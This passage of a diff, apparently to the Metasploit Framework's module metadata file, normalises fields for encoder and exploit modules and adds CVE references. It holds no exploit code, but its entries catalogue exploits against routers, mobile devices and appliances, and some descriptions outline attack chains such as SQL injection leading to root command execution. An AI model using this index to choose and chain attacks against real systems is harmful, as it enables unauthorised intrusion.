06:26:21 +0000", "path": "/modules/encoders/mipsle/longxor.rb", "is_install_path": true, @@ -28556,10 +26522,8 @@ "platform": "All", "arch": "php", "rport": "", - "targets": [ - - ], - "mod_time": "2017-07-24 06:26:21 +0000", + "targets": null, + "mod_time": "2018-07-12 17:59:12 +0000", "path": "/modules/encoders/php/base64.rb", "is_install_path": true, "ref_name": "php/base64" @@ -28583,9 +26547,7 @@ "platform": "All", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/ppc/longxor.rb", "is_install_path": true, @@ -28610,9 +26572,7 @@ "platform": "All", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/ppc/longxor_tag.rb", "is_install_path": true, @@ -28636,9 +26596,7 @@ "platform": "All", "arch": "ruby", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-24 18:33:27 +0000", "path": "/modules/encoders/ruby/base64.rb", "is_install_path": true, @@ -28663,9 +26621,7 @@ "platform": "All", "arch": "sparc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/sparc/longxor_tag.rb", "is_install_path": true, @@ -28689,9 +26645,7 @@ "platform": "All", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x64/xor.rb", "is_install_path": true, @@ -28715,9 +26669,7 @@ "platform": "All", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x64/zutto_dekiru.rb", "is_install_path": true, @@ -28741,9 +26693,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/add_sub.rb", "is_install_path": true, @@ -28768,9 +26718,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/alpha_mixed.rb", "is_install_path": true, @@ -28795,9 +26743,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/alpha_upper.rb", "is_install_path": true, @@ -28822,9 +26768,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/avoid_underscore_tolower.rb", "is_install_path": true, @@ -28848,9 +26792,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/avoid_utf8_tolower.rb", "is_install_path": true, @@ -28874,9 +26816,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/bloxor.rb", "is_install_path": true, @@ -28900,9 +26840,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/bmp_polyglot.rb", "is_install_path": true, @@ -28927,9 +26865,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/call4_dword_xor.rb", "is_install_path": true, @@ -28953,9 +26889,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/context_cpuid.rb", "is_install_path": true, @@ -28979,9 +26913,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/context_stat.rb", "is_install_path": true, @@ -29005,9 +26937,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/context_time.rb", "is_install_path": true, @@ -29031,9 +26961,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/countdown.rb", "is_install_path": true, @@ -29057,9 +26985,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/fnstenv_mov.rb", "is_install_path": true, @@ -29083,9 +27009,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/jmp_call_additive.rb", "is_install_path": true, @@ -29109,9 +27033,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/nonalpha.rb", "is_install_path": true, @@ -29135,9 +27057,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/nonupper.rb", "is_install_path": true, @@ -29161,9 +27081,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/opt_sub.rb", "is_install_path": true, @@ -29187,9 +27105,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/service.rb", "is_install_path": true, @@ -29213,9 +27129,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/shikata_ga_nai.rb", "is_install_path": true, @@ -29239,9 +27153,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/single_static_bit.rb", "is_install_path": true, @@ -29266,9 +27178,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/unicode_mixed.rb", "is_install_path": true, @@ -29293,9 +27203,7 @@ "platform": "All", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/encoders/x86/unicode_upper.rb", "is_install_path": true, @@ -29305,7 +27213,7 @@ "name": "ibstat $PATH Privilege Escalation", "full_name": "exploit/aix/local/ibstat_path", "rank": 600, - "disclosure_date": "2013-09-24 00:00:00 -0500", + "disclosure_date": "2013-09-24", "type": "exploit", "author": [ "Kristian Erik Hermansen", @@ -29338,7 +27246,7 @@ "name": "AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow", "full_name": "exploit/aix/rpc_cmsd_opcode21", "rank": 500, - "disclosure_date": "2009-10-07 00:00:00 -0500", + "disclosure_date": "2009-10-07", "type": "exploit", "author": [ "Rodrigo Rubira Branco (BSDaemon)", @@ -29369,7 +27277,7 @@ "name": "ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)", "full_name": "exploit/aix/rpc_ttdbserverd_realpath", "rank": 500, - "disclosure_date": "2009-06-17 00:00:00 -0500", + "disclosure_date": "2009-06-17", "type": "exploit", "author": [ "Ramon de C Valle ", @@ -29408,7 +27316,7 @@ "name": "Android ADB Debug Server Remote Payload Execution", "full_name": "exploit/android/adb/adb_server_exec", "rank": 600, - "disclosure_date": "2016-01-01 00:00:00 -0600", + "disclosure_date": "2016-01-01", "type": "exploit", "author": [ "joev " @@ -29437,7 +27345,7 @@ "name": "Samsung Galaxy KNOX Android Browser RCE", "full_name": "exploit/android/browser/samsung_knox_smdm_url", "rank": 600, - "disclosure_date": "2014-11-12 00:00:00 -0600", + "disclosure_date": "2014-11-12", "type": "exploit", "author": [ "Andre Moulu", @@ -29466,7 +27374,7 @@ "name": "Android Stagefright MP4 tx3g Integer Overflow", "full_name": "exploit/android/browser/stagefright_mp4_tx3g_64bit", "rank": 300, - "disclosure_date": "2015-08-13 00:00:00 -0500", + "disclosure_date": "2015-08-13", "type": "exploit", "author": [ "jduck ", @@ -29530,7 +27438,7 @@ "name": "Android Browser and WebView addJavascriptInterface Code Execution", "full_name": "exploit/android/browser/webview_addjavascriptinterface", "rank": 600, - "disclosure_date": "2012-12-21 00:00:00 -0600", + "disclosure_date": "2012-12-21", "type": "exploit", "author": [ "jduck ", @@ -29565,7 +27473,7 @@ "name": "Adobe Reader for Android addJavascriptInterface Exploit", "full_name": "exploit/android/fileformat/adobe_reader_pdf_js_interface", "rank": 400, - "disclosure_date": "2014-04-13 00:00:00 -0500", + "disclosure_date": "2014-04-13", "type": "exploit", "author": [ "Yorick Koster", @@ -29596,7 +27504,7 @@ "name": "Android 'Towelroot' Futex Requeue Kernel Exploit", "full_name": "exploit/android/local/futex_requeue", "rank": 600, - "disclosure_date": "2014-05-03 00:00:00 -0500", + "disclosure_date": "2014-05-03", "type": "exploit", "author": [ "Pinkie Pie", @@ -29630,7 +27538,7 @@ "name": "Android get_user/put_user Exploit", "full_name": "exploit/android/local/put_user_vroot", "rank": 600, - "disclosure_date": "2013-09-06 00:00:00 -0500", + "disclosure_date": "2013-09-06", "type": "exploit", "author": [ "fi01", @@ -29661,7 +27569,7 @@ "name": "Apple iOS MobileSafari LibTIFF Buffer Overflow", "full_name": "exploit/apple_ios/browser/safari_libtiff", "rank": 400, - "disclosure_date": "2006-08-01 00:00:00 -0500", + "disclosure_date": "2006-08-01", "type": "exploit", "author": [ "hdm ", @@ -29690,7 +27598,7 @@ "name": "WebKit not_number defineProperties UAF", "full_name": "exploit/apple_ios/browser/webkit_trident", "rank": 0, - "disclosure_date": "2016-08-25 00:00:00 +0000", + "disclosure_date": "2016-08-25", "type": "exploit", "author": [ "qwertyoruiop", @@ -29730,7 +27638,7 @@ "name": "Apple iOS MobileMail LibTIFF Buffer Overflow", "full_name": "exploit/apple_ios/email/mobilemail_libtiff", "rank": 400, - "disclosure_date": "2006-08-01 00:00:00 -0500", + "disclosure_date": "2006-08-01", "type": "exploit", "author": [ "hdm ", @@ -29759,7 +27667,7 @@ "name": "Apple iOS Default SSH Password Vulnerability", "full_name": "exploit/apple_ios/ssh/cydia_default_ssh", "rank": 600, - "disclosure_date": "2007-07-02 00:00:00 -0500", + "disclosure_date": "2007-07-02", "type": "exploit", "author": [ "hdm " @@ -29785,7 +27693,7 @@ "name": "Mercantec SoftCart CGI Overflow", "full_name": "exploit/bsdi/softcart/mercantec_softcart", "rank": 500, - "disclosure_date": "2004-08-19 00:00:00 -0500", + "disclosure_date": "2004-08-19", "type": "exploit", "author": [ "skape ", @@ -29814,7 +27722,7 @@ "name": "System V Derived /bin/login Extraneous Arguments Buffer Overflow", "full_name": "exploit/dialup/multi/login/manyargs", "rank": 400, - "disclosure_date": "2001-12-12 00:00:00 -0600", + "disclosure_date": "2001-12-12", "type": "exploit", "author": [ "I)ruid " @@ -29845,7 +27753,7 @@ "name": "Firefox Exec Shellcode from Privileged Javascript Shell", "full_name": "exploit/firefox/local/exec_shellcode", "rank": 600, - "disclosure_date": "2014-03-10 00:00:00 -0500", + "disclosure_date": "2014-03-10", "type": "exploit", "author": [ "joev " @@ -29871,7 +27779,7 @@ "name": "ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)", "full_name": "exploit/freebsd/ftp/proftp_telnet_iac", "rank": 500, - "disclosure_date": "2010-11-01 00:00:00 -0500", + "disclosure_date": "2010-11-01", "type": "exploit", "author": [ "jduck " @@ -29901,13 +27809,14 @@ "name": "Watchguard XCS Remote Command Execution", "full_name": "exploit/freebsd/http/watchguard_cmd_exec", "rank": 600, - "disclosure_date": "2015-06-29 00:00:00 -0500", + "disclosure_date": "2015-06-29", "type": "exploit", "author": [ "Daniel Jensen " ], "description": "This module exploits two separate vulnerabilities found in the Watchguard XCS virtual\n appliance to gain command execution. By exploiting an unauthenticated SQL injection, a\n remote attacker may insert a valid web user into the appliance database, and get access\n to the web interface. On the other hand, a vulnerability in the web interface allows the\n attacker to inject operating system commands as the 'nobody' user.", "references": [ + "CVE-2015-5453", "URL-http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf" ], "is_server": false, @@ -29927,7 +27836,7 @@ "name": "FreeBSD 9 Address Space Manipulation Privilege Escalation", "full_name": "exploit/freebsd/local/mmap", "rank": 500, - "disclosure_date": "2013-06-18 00:00:00 -0500", + "disclosure_date": "2013-06-18", "type": "exploit", "author": [ "Konstantin Belousov", @@ -29960,7 +27869,7 @@ "name": "Watchguard XCS FixCorruptMail Local Privilege Escalation", "full_name": "exploit/freebsd/local/watchguard_fix_corrupt_mail", "rank": 0, - "disclosure_date": "2015-06-29 00:00:00 -0500", + "disclosure_date": "2015-06-29", "type": "exploit", "author": [ "Daniel Jensen " @@ -29986,7 +27895,7 @@ "name": "Citrix NetScaler SOAP Handler Remote Code Execution", "full_name": "exploit/freebsd/misc/citrix_netscaler_soap_bof", "rank": 300, - "disclosure_date": "2014-09-22 00:00:00 -0500", + "disclosure_date": "2014-09-22", "type": "exploit", "author": [ "Bradley Austin", @@ -30013,7 +27922,7 @@ "name": "Samba trans2open Overflow (*BSD x86)", "full_name": "exploit/freebsd/samba/trans2open", "rank": 500, - "disclosure_date": "2003-04-07 00:00:00 -0500", + "disclosure_date": "2003-04-07", "type": "exploit", "author": [ "hdm ", @@ -30043,7 +27952,7 @@ "name": "XTACACSD report() Buffer Overflow", "full_name": "exploit/freebsd/tacacs/xtacacsd_report", "rank": 200, - "disclosure_date": "2008-01-08 00:00:00 -0600", + "disclosure_date": "2008-01-08", "type": "exploit", "author": [ "MC " @@ -30071,7 +27980,7 @@ "name": "FreeBSD Telnet Service Encryption Key ID Buffer Overflow", "full_name": "exploit/freebsd/telnet/telnet_encrypt_keyid", "rank": 500, - "disclosure_date": "2011-12-23 00:00:00 -0600", + "disclosure_date": "2011-12-23", "type": "exploit", "author": [ "Jaime Penalba Estebanez ", @@ -30112,7 +28021,7 @@ "name": "HP-UX LPD Command Execution", "full_name": "exploit/hpux/lpd/cleanup_exec", "rank": 600, - "disclosure_date": "2002-08-28 00:00:00 -0500", + "disclosure_date": "2002-08-28", "type": "exploit", "author": [ "hdm " @@ -30140,7 +28049,7 @@ "name": "Irix LPD tagprinter Command Execution", "full_name": "exploit/irix/lpd/tagprinter_exec", "rank": 600, - "disclosure_date": "2001-09-01 00:00:00 -0500", + "disclosure_date": "2001-09-01", "type": "exploit", "author": [ "optyx ", @@ -30168,7 +28077,7 @@ "name": "eScan Web Management Console Command Injection", "full_name": "exploit/linux/antivirus/escan_password_exec", "rank": 600, - "disclosure_date": "2014-04-04 00:00:00 -0500", + "disclosure_date": "2014-04-04", "type": "exploit", "author": [ "Joxean Koret", @@ -30195,7 +28104,7 @@ "name": "Adobe Flash Player ActionScript Launch Command Execution Vulnerability", "full_name": "exploit/linux/browser/adobe_flashplayer_aslaunch", "rank": 400, - "disclosure_date": "2008-12-17 00:00:00 -0600", + "disclosure_date": "2008-12-17", "type": "exploit", "author": [ "0a29406d9794e4f9b30b3c5d6702c708" @@ -30224,7 +28133,7 @@ "name": "ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)", "full_name": "exploit/linux/ftp/proftp_sreplace", "rank": 500, - "disclosure_date": "2006-11-26 00:00:00 -0600", + "disclosure_date": "2006-11-26", "type": "exploit", "author": [ "Evgeny Legerov ", @@ -30259,7 +28168,7 @@ "name": "ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)", "full_name": "exploit/linux/ftp/proftp_telnet_iac", "rank": 500, - "disclosure_date": "2010-11-01 00:00:00 -0500", + "disclosure_date": "2010-11-01", "type": "exploit", "author": [ "jduck " @@ -30291,7 +28200,7 @@ "name": "Unreal Tournament 2004 \"secure\" Overflow (Linux)", "full_name": "exploit/linux/games/ut2004_secure", "rank": 400, - "disclosure_date": "2004-06-18 00:00:00 -0500", + "disclosure_date": "2004-06-18", "type": "exploit", "author": [ "onetwo" @@ -30321,7 +28230,7 @@ "name": "Accellion FTA getStatus verify_oauth_token Command Execution", "full_name": "exploit/linux/http/accellion_fta_getstatus_oauth", "rank": 600, - "disclosure_date": "2015-07-10 00:00:00 -0500", + "disclosure_date": "2015-07-10", "type": "exploit", "author": [ "hdm " @@ -30348,7 +28257,7 @@ "name": "Advantech Switch Bash Environment Variable Code Injection (Shellshock)", "full_name": "exploit/linux/http/advantech_switch_bash_env_exec", "rank": 600, - "disclosure_date": "2015-12-01 00:00:00 -0600", + "disclosure_date": "2015-12-01", "type": "exploit", "author": [ "hdm " @@ -30381,7 +28290,7 @@ "name": "Airties login-cgi Buffer Overflow", "full_name": "exploit/linux/http/airties_login_cgi_bof", "rank": 300, - "disclosure_date": "2015-03-31 00:00:00 -0500", + "disclosure_date": "2015-03-31", "type": "exploit", "author": [ "Batuhan Burakcin ", @@ -30389,6 +28298,7 @@ ], "description": "This module exploits a remote buffer overflow vulnerability on several Airties routers.\n The vulnerability exists in the handling of HTTP queries to the login cgi with long\n redirect parameters. The vulnerability doesn't require authentication. This module has\n been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.\n Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,\n Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.", "references": [ + "CVE-2015-2797", "EDB-36577", "URL-http://www.bmicrosystems.com/exploits/airties5650tt.txt" ], @@ -30409,7 +28319,7 @@ "name": "Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution", "full_name": "exploit/linux/http/alcatel_omnipcx_mastercgi_exec", "rank": 0, - "disclosure_date": "2007-09-09 00:00:00 -0500", + "disclosure_date": "2007-09-09", "type": "exploit", "author": [ "aushack " @@ -30438,7 +28348,7 @@ "name": "AlienVault OSSIM/USM Remote Code Execution", "full_name": "exploit/linux/http/alienvault_exec", "rank": 600, - "disclosure_date": "2017-01-31 00:00:00 -0600", + "disclosure_date": "2017-01-31", "type": "exploit", "author": [ "Peter Lapp", @@ -30446,6 +28356,7 @@ ], "description": "This module exploits object injection, authentication bypass and ip spoofing vulnerabilities all together.\n Unauthenticated users can execute arbitrary commands under the context of the root user.\n\n By abusing authentication bypass issue on gauge.php lead adversaries to exploit object injection vulnerability\n which leads to SQL injection attack that leaks an administrator session token. Attackers can create a rogue\n action and policy that enables to execute operating system commands by using captured session token. As a final step,\n SSH login attempt with an invalid credentials can trigger a created rogue policy which triggers an action that executes\n operating system command with root user privileges.\n\n This module was tested against following product and versions:\n AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0\n AlienVault OSSIM 5.0.0, 4.6.1", "references": [ + "CVE-2016-8582", "URL-https://pentest.blog/unexpected-journey-into-the-alienvault-ossimusm-during-engagement/", "EDB-40682" ], @@ -30466,7 +28377,7 @@ "name": "AlienVault OSSIM SQL Injection and Remote Code Execution", "full_name": "exploit/linux/http/alienvault_sqli_exec", "rank": 600, - "disclosure_date": "2014-04-24 00:00:00 -0500", + "disclosure_date": "2014-04-24", "type": "exploit", "author": [ "Sasha Zivojinovic", @@ -30474,6 +28385,7 @@ ], "description": "This module exploits an unauthenticated SQL injection vulnerability affecting AlienVault\n OSSIM versions 4.3.1 and lower. The SQL injection issue can be abused in order to retrieve an\n active admin session ID. If an administrator level user is identified, remote code execution\n can be gained by creating a high priority policy with an action containing our payload.", "references": [ + "CVE-2016-8581", "OSVDB-106252", "EDB-33006" ], @@ -30494,7 +28406,7 @@ "name": "Apache Continuum Arbitrary Command Execution", "full_name": "exploit/linux/http/apache_continuum_cmd_exec", "rank": 600, - "disclosure_date": "2016-04-06 00:00:00 -0500", + "disclosure_date": "2016-04-06", "type": "exploit", "author": [ "David Shanahan", @@ -30521,7 +28433,7 @@ "name": "Apache CouchDB Arbitrary Command Execution", "full_name": "exploit/linux/http/apache_couchdb_cmd_exec", "rank": 600, - "disclosure_date": "2016-04-06 00:00:00 +0000", + "disclosure_date": "2016-04-06", "type": "exploit", "author": [ "Max Justicz", @@ -30555,7 +28467,7 @@ "name": "Astium Remote Code Execution", "full_name": "exploit/linux/http/astium_sqli_upload", "rank": 0, - "disclosure_date": "2013-09-17 00:00:00 -0500", + "disclosure_date": "2013-09-17", "type": "exploit", "author": [ "xistence " @@ -30582,7 +28494,7 @@ "name": "AsusWRT LAN Unauthenticated Remote Code Execution", "full_name": "exploit/linux/http/asuswrt_lan_rce", "rank": 600, - "disclosure_date": "2018-01-22 00:00:00 -0600", + "disclosure_date": "2018-01-22", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -30612,7 +28524,7 @@ "name": "ATutor 2.2.1 Directory Traversal / Remote Code Execution", "full_name": "exploit/linux/http/atutor_filemanager_traversal", "rank": 600, - "disclosure_date": "2016-03-01 00:00:00 -0600", + "disclosure_date": "2016-03-01", "type": "exploit", "author": [ "mr_me " @@ -30642,7 +28554,7 @@ "name": "Belkin Play N750 login.cgi Buffer Overflow", "full_name": "exploit/linux/http/belkin_login_bof", "rank": 300, - "disclosure_date": "2014-05-09 00:00:00 -0500", + "disclosure_date": "2014-05-09", "type": "exploit", "author": [ "Marco Vaz ", @@ -30674,7 +28586,7 @@ "name": "Centreon SQL and Command Injection", "full_name": "exploit/linux/http/centreon_sqli_exec", "rank": 600, - "disclosure_date": "2014-10-15 00:00:00 -0500", + "disclosure_date": "2014-10-15", "type": "exploit", "author": [ "MaZ", @@ -30704,7 +28616,7 @@ "name": "Centreon Web Useralias Command Execution", "full_name": "exploit/linux/http/centreon_useralias_exec", "rank": 600, - "disclosure_date": "2016-02-26 00:00:00 -0600", + "disclosure_date": "2016-02-26", "type": "exploit", "author": [ "h00die ", @@ -30731,7 +28643,7 @@ "name": "Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal", "full_name": "exploit/linux/http/cfme_manageiq_evm_upload_exec", "rank": 600, - "disclosure_date": "2013-09-04 00:00:00 -0500", + "disclosure_date": "2013-09-04", "type": "exploit", "author": [ "Ramon de C Valle " @@ -30759,7 +28671,7 @@ "name": "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability", "full_name": "exploit/linux/http/cisco_firepower_useradd", "rank": 600, - "disclosure_date": "2016-10-10 00:00:00 -0500", + "disclosure_date": "2016-10-10", "type": "exploit", "author": [ "Matt", @@ -30787,7 +28699,7 @@ "name": "Crypttech CryptoLog Remote Code Execution", "full_name": "exploit/linux/http/crypttech_cryptolog_login_exec", "rank": 600, - "disclosure_date": "2017-05-03 00:00:00 -0500", + "disclosure_date": "2017-05-03", "type": "exploit", "author": [ "Mehmet Ince " @@ -30813,7 +28725,7 @@ "name": "DC/OS Marathon UI Docker Exploit", "full_name": "exploit/linux/http/dcos_marathon", "rank": 600, - "disclosure_date": "2017-03-03 00:00:00 -0600", + "disclosure_date": "2017-03-03", "type": "exploit", "author": [ "Erik Daguerre" @@ -30839,7 +28751,7 @@ "name": "DD-WRT HTTP Daemon Arbitrary Command Execution", "full_name": "exploit/linux/http/ddwrt_cgibin_exec", "rank": 600, - "disclosure_date": "2009-07-20 00:00:00 -0500", + "disclosure_date": "2009-07-20", "type": "exploit", "author": [ "gat3way", @@ -30869,7 +28781,7 @@ "name": "DenyAll Web Application Firewall Remote Code Execution", "full_name": "exploit/linux/http/denyall_waf_exec", "rank": 600, - "disclosure_date": "2017-09-19 00:00:00 -0500", + "disclosure_date": "2017-09-19", "type": "exploit", "author": [ "Mehmet Ince " @@ -30897,7 +28809,7 @@ "name": "D-Link authentication.cgi Buffer Overflow", "full_name": "exploit/linux/http/dlink_authentication_cgi_bof", "rank": 300, - "disclosure_date": "2013-02-08 00:00:00 -0600", + "disclosure_date": "2013-02-08", "type": "exploit", "author": [ "Roberto Paleari", @@ -30929,7 +28841,7 @@ "name": "D-Link Devices Unauthenticated Remote Command Execution", "full_name": "exploit/linux/http/dlink_command_php_exec_noauth", "rank": 600, - "disclosure_date": "2013-02-04 00:00:00 -0600", + "disclosure_date": "2013-02-04", "type": "exploit", "author": [ "Michael Messner ", @@ -30961,7 +28873,7 @@ "name": "D-Link DCS-931L File Upload", "full_name": "exploit/linux/http/dlink_dcs931l_upload", "rank": 500, - "disclosure_date": "2015-02-23 00:00:00 -0600", + "disclosure_date": "2015-02-23", "type": "exploit", "author": [ "Mike Baucom", @@ -30992,7 +28904,7 @@ "name": "D-Link DCS-930L Authenticated Remote Command Execution", "full_name": "exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution", "rank": 600, - "disclosure_date": "2015-12-20 00:00:00 -0600", + "disclosure_date": "2015-12-20", "type": "exploit", "author": [ "Nicholas Starke " @@ -31018,7 +28930,7 @@ "name": "D-Link DIR-645 / DIR-815 diagnostic.php Command Execution", "full_name": "exploit/linux/http/dlink_diagnostic_exec_noauth", "rank": 600, - "disclosure_date": "2013-03-05 00:00:00 -0600", + "disclosure_date": "2013-03-05", "type": "exploit", "author": [ "Michael Messner ", @@ -31026,6 +28938,7 @@ ], "description": "Some D-Link Routers are vulnerable to OS Command injection in the web interface.\n On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On\n version 1.03 authentication is needed in order to trigger the vulnerability, which\n has been fixed definitely on version 1.04. Other D-Link products, like DIR-300 rev B\n and DIR-600, are also affected by this vulnerability. Not every device includes\n wget which we need for deploying our payload. On such devices you could use the cmd\n generic payload and try to start telnetd or execute other commands. Since it is a\n blind OS command injection vulnerability, there is no output for the executed\n command when using the cmd generic payload. A ping command against a controlled\n system could be used for testing purposes. This module has been tested successfully\n on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the\n vulnerability.", "references": [ + "CVE-2014-100005", "OSVDB-92144", "BID-58938", "EDB-24926", @@ -31049,7 +28962,7 @@ "name": "D-Link Devices Unauthenticated Remote Command Execution", "full_name": "exploit/linux/http/dlink_dir300_exec_telnet", "rank": 600, - "disclosure_date": "2013-04-22 00:00:00 -0500", + "disclosure_date": "2013-04-22", "type": "exploit", "author": [ "Michael Messner ", @@ -31079,7 +28992,7 @@ "name": "D-Link DIR-605L Captcha Handling Buffer Overflow", "full_name": "exploit/linux/http/dlink_dir605l_captcha_bof", "rank": 0, - "disclosure_date": "2012-10-08 00:00:00 -0500", + "disclosure_date": "2012-10-08", "type": "exploit", "author": [ "Craig Heffner", @@ -31107,7 +29020,7 @@ "name": "D-Link DIR615h OS Command Injection", "full_name": "exploit/linux/http/dlink_dir615_up_exec", "rank": 600, - "disclosure_date": "2013-02-07 00:00:00 -0600", + "disclosure_date": "2013-02-07", "type": "exploit", "author": [ "Michael Messner ", @@ -31138,7 +29051,7 @@ "name": "DIR-850L (Un)authenticated OS Command Exec", "full_name": "exploit/linux/http/dlink_dir850l_unauth_exec", "rank": 600, - "disclosure_date": "2017-08-09 00:00:00 -0500", + "disclosure_date": "2017-08-09", "type": "exploit", "author": [ "Mumbai", @@ -31166,7 +29079,7 @@ "name": "D-Link DSL-2750B OS Command Injection", "full_name": "exploit/linux/http/dlink_dsl2750b_exec_noauth", "rank": 500, - "disclosure_date": "2016-02-05 00:00:00 -0600", + "disclosure_date": "2016-02-05", "type": "exploit", "author": [ "p ", @@ -31196,7 +29109,7 @@ "name": "D-Link Cookie Command Execution", "full_name": "exploit/linux/http/dlink_dspw110_cookie_noauth_exec", "rank": 300, - "disclosure_date": "2015-06-12 00:00:00 -0500", + "disclosure_date": "2015-06-12", "type": "exploit", "author": [ "Peter Adkins ", @@ -31224,7 +29137,7 @@ "name": "D-Link info.cgi POST Request Buffer Overflow", "full_name": "exploit/linux/http/dlink_dspw215_info_cgi_bof", "rank": 300, - "disclosure_date": "2014-05-22 00:00:00 -0500", + "disclosure_date": "2014-05-22", "type": "exploit", "author": [ "Craig Heffner", @@ -31253,7 +29166,7 @@ "name": "D-Link hedwig.cgi Buffer Overflow in Cookie Header", "full_name": "exploit/linux/http/dlink_hedwig_cgi_bof", "rank": 300, - "disclosure_date": "2013-02-08 00:00:00 -0600", + "disclosure_date": "2013-02-08", "type": "exploit", "author": [ "Roberto Paleari", @@ -31285,7 +29198,7 @@ "name": "D-Link HNAP Request Remote Buffer Overflow", "full_name": "exploit/linux/http/dlink_hnap_bof", "rank": 300, - "disclosure_date": "2014-05-15 00:00:00 -0500", + "disclosure_date": "2014-05-15", "type": "exploit", "author": [ "Craig Heffner", @@ -31318,7 +29231,7 @@ "name": "D-Link Devices HNAP SOAPAction-Header Command Execution", "full_name": "exploit/linux/http/dlink_hnap_header_exec_noauth", "rank": 300, - "disclosure_date": "2015-02-13 00:00:00 -0600", + "disclosure_date": "2015-02-13", "type": "exploit", "author": [ "Samuel Huntley", @@ -31348,7 +29261,7 @@ "name": "Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow", "full_name": "exploit/linux/http/dlink_hnap_login_bof", "rank": 600, - "disclosure_date": "2016-11-07 00:00:00 -0600", + "disclosure_date": "2016-11-07", "type": "exploit", "author": [ "Pedro Ribeiro " @@ -31378,7 +29291,7 @@ "name": "D-Link Devices UPnP SOAP Command Execution", "full_name": "exploit/linux/http/dlink_upnp_exec_noauth", "rank": 300, - "disclosure_date": "2013-07-05 00:00:00 -0500", + "disclosure_date": "2013-07-05", 